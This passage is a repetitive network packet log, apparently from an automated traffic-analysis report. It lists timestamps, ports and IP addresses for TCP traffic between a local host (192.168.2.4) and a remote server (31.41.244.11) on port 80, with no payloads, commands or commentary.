Dec 19, 2024 20:11:41.100087881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.100135088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.101181984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.101233959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.101327896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.101376057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.102191925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.102237940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.102298021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.102339029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.103276968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.103328943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.103496075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.103549957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.104444981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.104500055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.104518890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.104631901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.105554104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.105890036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.105942965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.106648922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.106707096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.106741905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.106795073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.107773066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.107824087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.107903957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.107954025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.108901024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.109015942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.109205961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.109333038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.110028028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.110079050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.110122919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.110214949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.111165047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.111219883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.111397982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.111469984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.112278938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.112344027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.112673044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.112718105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.113404036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.113457918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.113590956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.113641024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.114563942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.114614964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.114640951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.114686012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.115677118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.115729094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.115881920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.115931034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.116765976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.116822958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.116872072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.116918087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.118357897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.118413925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.118624926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.118674994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.119060993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.119117975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.119724035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.119767904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.120146990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.120192051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.120546103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.120611906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.121295929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.121339083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.121773958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.121822119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.122400045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.122447968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.122792959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.122837067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.123570919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.123626947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.123678923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.123728037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.124655008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.124711037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.124802113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.124845982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.125966072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.126024008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.126118898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.126166105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.126914024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.126957893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.127051115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.127099991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.128029108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.128149986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.128515959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.128571987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.129177094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.129225969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.129609108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.129692078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.130283117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.130336046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.130486012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.130537033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.131449938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.131499052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.131691933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.131742001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.132561922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.132611990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.132777929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.132826090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.133678913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.133734941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.133769035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.133816004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.134774923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.134884119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.135163069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.135307074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.135926962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.135973930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.136363983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.136416912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.137034893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.137087107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.137173891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.137229919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.138175011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.138279915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.138725042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.138771057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.139396906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.139441967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.139534950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.139580965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.140403032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.140453100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.140919924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.140995979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.141556978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.141629934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.141851902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.141899109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.142613888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.142671108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.142735958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.142800093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.143846989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.143940926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.143946886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.143980026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.144890070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.144937038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.145248890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.145298004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.146065950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.146133900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.146461010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.146507978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.147135973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.147186995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.147412062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.147466898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.148294926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.148354053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.148513079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.148564100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.282685041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.282764912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.283207893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.283221006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.283257008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.283272982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.283376932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.283540010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.284423113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.284482002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.284635067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.284693956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.285437107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.285495043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.285588980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.285742044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.286535025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.286592960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.287738085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.287750959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.287800074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.287816048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.287861109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.287904978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.288781881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.288887978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.289082050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.289136887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.289931059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.289992094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.290040016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.290201902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.291078091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.291136980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.292213917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.292226076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.292253971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.292270899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.292370081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.292435884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.293330908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.293384075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.293929100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.293983936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.294595957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.294651031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.295427084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.295480967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.295542955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.295587063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.295702934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.296082973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.296780109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.296822071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.296886921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.296936035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.297799110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.297859907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.298140049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.298187017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.298908949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.298958063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.299067020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.299118996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.300051928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.300127029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.300724030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.301176071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.301187992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.301232100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.302357912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.302402973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.302582979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.302625895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.303445101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.303533077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.303591967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.304588079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.304869890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.304920912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.305651903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.305708885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.306664944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.306721926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.306821108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.306834936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.306876898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.306977034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.307965040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.308183908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.308219910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.308234930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.309042931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.309091091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.309149027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.309194088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.310152054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.310229063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.310729027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.310779095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.311266899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.311319113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.311414003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.311470032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.312416077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.312463045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.313092947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.313168049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.313532114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.313572884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.314349890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.314390898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.314639091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.314685106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.315171003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.315295935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.315789938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.315948963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.315993071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.316895008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.316941977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.317112923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.317152977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.318049908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.318098068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.318188906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.318259001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.319287062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.319344997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.319379091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.319425106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.320278883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.320404053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.320422888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.320441008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.321382046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.321464062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.321484089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.321532011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.322652102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.322691917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.322850943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.322900057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.323673964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.323771000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.323849916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.323925018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.324760914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.324803114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.324878931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.324918985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.325897932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.325949907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.326092005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.326273918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.327063084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.327117920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.327194929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.327236891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.328154087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.328207970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.328265905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.328318119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.329320908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.329375982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.329547882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.329592943 CET	49842	80	192.168.2.4	31.41.244.11
